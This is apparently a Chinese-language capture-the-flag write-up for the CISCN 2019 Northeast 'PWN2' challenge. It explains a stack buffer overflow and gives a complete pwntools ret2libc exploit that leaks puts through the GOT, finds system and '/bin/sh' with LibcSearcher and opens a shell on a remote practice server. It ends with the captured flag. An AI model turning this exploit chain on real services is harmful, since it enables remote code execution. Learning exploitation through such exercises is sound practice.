[CISCN 2019东北]PWN2

题目分析

这题一看了一下正常的流程:

1、输入选项,进行加密,果然只能加密,差点以为直接字符串解密,冷静这是PWN

找到溢出点,很明显在输出加密结果的puts()函数有问题。同样无system与/bin/sh,这种题目的做法,找到泄露的函数地址,计算基址,加上偏移求接下来函数。

exp:(libc2)

from pwn import *
from LibcSearcher import *

elf = ELF('./PWN2')
pro = remote('node1.anna.nssctf.cn',28490)
ret_addr = 0x4006b9
pop_rdi = 0x400c83
en_addr = 0x4009a0
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

payload = b'a'*0x58+p64(pop_rdi)+p64(puts_got) + p64(puts_plt)+p64(en_addr)
pro.sendlineafter(b'choice!',b'1')
pro.sendlineafter(b'encrypted',payload)
puts_addr= u64(pro.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# puts_addr = u64(pro.recv(6).ljust(8,b'\x00'))
# 这中方法给的libc版本过多
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump("puts")
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')

payload2=b'a'*0x58+p64(ret_addr)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(0xdeadbeef)
pro.sendlineafter(b'encrypted',payload2)
pro.interactive()
# NSSCTF{d8331f3f-6543-4ec4-9df3-3938d4ec8846}